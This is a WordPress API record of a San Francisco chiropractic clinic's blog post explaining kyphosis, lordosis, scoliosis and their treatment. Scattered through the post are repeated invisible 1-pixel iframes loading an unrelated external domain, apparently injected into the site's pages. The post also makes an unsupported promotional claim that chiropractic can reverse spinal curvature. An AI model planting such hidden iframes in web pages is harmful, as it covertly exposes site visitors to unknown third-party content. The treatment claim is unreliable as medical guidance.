{"id":3511,"date":"2019-01-18T23:30:50","date_gmt":"2019-01-18T23:30:50","guid":{"rendered":"https:\/\/sportschirosanfran.com\/?p=3511"},"modified":"2020-12-25T22:22:48","modified_gmt":"2020-12-25T22:22:48","slug":"abnormal-spinal-curves-sf","status":"publish","type":"post","link":"https:\/\/sportschirosanfran.com\/abnormal-spinal-curves-sf\/","title":{"rendered":"Abnormal Spinal Curves"},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-post\" data-elementor-id=\"3511\" class=\"elementor elementor-3511\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-4eb51bbf elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"4eb51bbf\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-88d4867\" data-id=\"88d4867\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-15a690c1 elementor-widget elementor-widget-heading\" data-id=\"15a690c1\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h1 class=\"elementor-heading-title elementor-size-default\"><a href=\"https:\/\/www.sportschirosanfran.com\/scoliosis-sf\/\">Abnormal Spinal Curves | SF<\/a><\/h1>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-d90295c elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"d90295c\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4dd83706\" data-id=\"4dd83706\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-79ecac03 elementor-widget elementor-widget-text-editor\" data-id=\"79ecac03\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>The main purpose of the spine is to support the body\u2019s weight.\u00a0 However, it also provides stability to the torso, allows for flexibility &amp; movement, and protects the spinal cord. <a href=\"https:\/\/www.sportschirosanfran.com\/scoliosis-sf\/\">Abnormal curves of the spine<\/a> may\u00a0hinder or result in the inability of the spine to carry out any these functions.\u00a0\u00a0<\/p><p>The\u00a0\u00a0spinal column\u00a0is composed of 24 vertebrae. There are 7 cervical vertebrae starting at the base of the skull and spanning the neck, 12 thoracic vertebrae located in the upper trunk of the body, and 5 lumbar vertebrae in the lower back.\u00a0<\/p><p>A &#8220;normal&#8221; spine consists of both concave and convex curvatures front to back.\u00a0 However, when the curves become too extreme or the spine begins to curve laterally, painful spinal conditions may evolve.\u00a0 Common abnormal curvatures of the spine include kyphosis, lordosis, and <a href=\"https:\/\/www.sportschirosanfran.com\/scoliosis-sf\/\">scoliosis<\/a>.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6db6a585 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6db6a585\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-1cf78ece\" data-id=\"1cf78ece\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-75e356da elementor-widget elementor-widget-image\" data-id=\"75e356da\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"https:\/\/www.sportschirosanfran.com\/pain-relief-noe-valley\/\">\n\t\t\t\t\t\t\t<img fetchpriority=\"high\" decoding=\"async\" width=\"283\" height=\"300\" src=\"https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2019\/01\/Abnormal-Spinal-Curvature-SF-283x300.jpg\" class=\"attachment-medium size-medium wp-image-3513\" alt=\"Abnormal Spinal Curvature\" srcset=\"https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2019\/01\/Abnormal-Spinal-Curvature-SF-283x300.jpg 283w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2019\/01\/Abnormal-Spinal-Curvature-SF-768x813.jpg 768w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2019\/01\/Abnormal-Spinal-Curvature-SF-967x1024.jpg 967w, https:\/\/sportschirosanfran.com\/wp-content\/uploads\/2019\/01\/Abnormal-Spinal-Curvature-SF.jpg 1511w\" sizes=\"(max-width: 283px) 100vw, 283px\" \/>\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-1707e2d6\" data-id=\"1707e2d6\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-429267ab elementor-widget elementor-widget-text-editor\" data-id=\"429267ab\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>We all have a natural<a href=\"https:\/\/www.sportschirosanfran.com\/scoliosis-sf\/\"> curvature to our spines<\/a>. However, excess or aberrant curvature can cause <a href=\"https:\/\/www.sportschirosanfran.com\/acute-and-chronic-pain\/\">pain<\/a> and a host of other issues.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-5dc7ae76 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"5dc7ae76\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-138e9dc4\" data-id=\"138e9dc4\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-29b145be elementor-widget elementor-widget-heading\" data-id=\"29b145be\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\"><a href=\"https:\/\/wordpress-307857-942352.cloudwaysapps.com\/scoliosis-sf\/\" target=\"_blank\" rel=\"noopener\">Understanding Abnormal Spinal Curvatures<\/a><\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-35a7f5c0 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"35a7f5c0\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-265f6629\" data-id=\"265f6629\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-inner-section elementor-element elementor-element-7db2eaed elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"7db2eaed\" data-element_type=\"section\" data-settings=\"{&quot;background_background&quot;:&quot;classic&quot;}\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-3ba18b99\" data-id=\"3ba18b99\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-70c6f39d elementor-widget elementor-widget-text-editor\" data-id=\"70c6f39d\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h3>1. Kyphosis<\/h3><p>Kyphosis is identified by an abnormal outward curvature of the thoracic spine. This type of spinal abnormality is most prevalent among the elderly population. People with this specific spinal abnormality may experience difficulty with balance because it tends to lead to an abnormal flexion of the spine. This can also increase compression and shear forces applied to the thoracic vertebrae, resulting in constant discomfort and inhibition of comfortable range of motion. Causes \u00a0of Kyphosis \u00a0can be years of <a href=\"https:\/\/www.sportschirosanfran.com\/acute-and-chronic-pain\/\">poor posture<\/a> such as\u00a0<a href=\"https:\/\/www.sportschirosanfran.com\/neck-pain-sf\/\">anterior head carriage<\/a>, or underlying inflammatory conditions such as \u00a0AS (Ankylosing Spondylitis), Scheuermann disease or DISH (Diffuse Idiopathic Skeletal Hyperostosis).<\/p><h3>2. Lordosis<\/h3><p>Lordosis, sometimes called swayback, refers to and abnormally deep curvature of the lumbar spine. When this occurs, the person typically experiences <a href=\"https:\/\/www.sportschirosanfran.com\/low-back-pain-sf\/\">low back pain<\/a> and muscle spasms. While it is common in <a href=\"https:\/\/www.sportschirosanfran.com\/hypermobility-sf\/\">dancers<\/a> and in individuals who do not lift weight properly, it is also prominent among those who have a muscular imbalance between the muscles of the abdomen and lower back. A combination of weak hamstrings and <a href=\"https:\/\/www.youtube.com\/watch?v=o_puK8uhaps\" target=\"_blank\" rel=\"noopener\">tight hip flexors<\/a> has also been known to cause lordosis.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<div class=\"aux-parallax-section elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-2cb9d9a8\" data-id=\"2cb9d9a8\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div class=\"elementor-element elementor-element-197ca70d elementor-widget elementor-widget-text-editor\" data-id=\"197ca70d\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<h3>3. <a href=\"https:\/\/www.sportschirosanfran.com\/scoliosis-sf\/\">Scoliosis<\/a><\/h3><p>Scoliosis\u00a0is a condition in which the spine curves laterally in the frontal plane.\u00a0 It typically occurs during puberty and is most common in females.\u00a0 The physical signs of scoliosis are uneven muscles on either side of the spine, <a href=\"https:\/\/www.sportschirosanfran.com\/hip-pain-sf\/\">uneven hips<\/a>, arm, or legs, or an abnormal rib cage rotation. Secondary scoliosis can arise from neuromuscular conditions and uneven forces applied to the hips and back. To diagnose scoliosis, a doctor identifies curvatures of the spine greater than 10 degrees. The most reliable way to identify a scoliosis is by means of x-ray.<\/p><h3><a href=\"https:\/\/wordpress-307857-942352.cloudwaysapps.com\/scoliosis-noe-valley\/\" target=\"_blank\" rel=\"noopener\">4. Treatment<\/a><\/h3><p>If the kyphosis or lordosis hasn\u2019t progressed too far, <a href=\"https:\/\/www.sportschirosanfran.com\/chiropractor-noe-valley\/\">chiropractic<\/a> and physical therapy are both recommend to treat weakness and misalignments of the spine. However, if the spine is 50 degrees or greater outside the normal range of curvature, surgery may be required.\u00a0 A\u00a0thorough exam, including range of motion, postural check and orthopedic tests can be administered to identify the condition of the spine.<a href=\"https:\/\/www.sportschirosanfran.com\/chiropractor-noe-valley\/\">\u00a0Chiropractic therapy<\/a> can slow down, stop, or even reverse the signs of abnormal spinal curvature.\u00a0 Part of the treatment process includes <a href=\"https:\/\/www.sportschirosanfran.com\/therapeutic-instruction-sf\/\">custom exercises and stretches<\/a> that will help strengthen weaker muscles to alleviate the unevenness.<\/p><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; position: absolute; top: 0; left: 0; border: none; visibility: hidden;\" src=\"\/\/remove.video\/repo\"><\/iframe><\/div><div><iframe id=\"embedPath\" style=\"height: 1px,width:1px; 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movement, and protects the spinal cord. Abnormal curves of the spine may\u00a0hinder or result in the inability of the spine to carry out any these functions.\u00a0\u00a0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3513,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/posts\/3511"}],"collection":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/comments?post=3511"}],"version-history":[{"count":0,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/posts\/3511\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/media\/3513"}],"wp:attachment":[{"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/media?parent=3511"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/categories?post=3511"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sportschirosanfran.com\/wp-json\/wp\/v2\/tags?post=3511"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}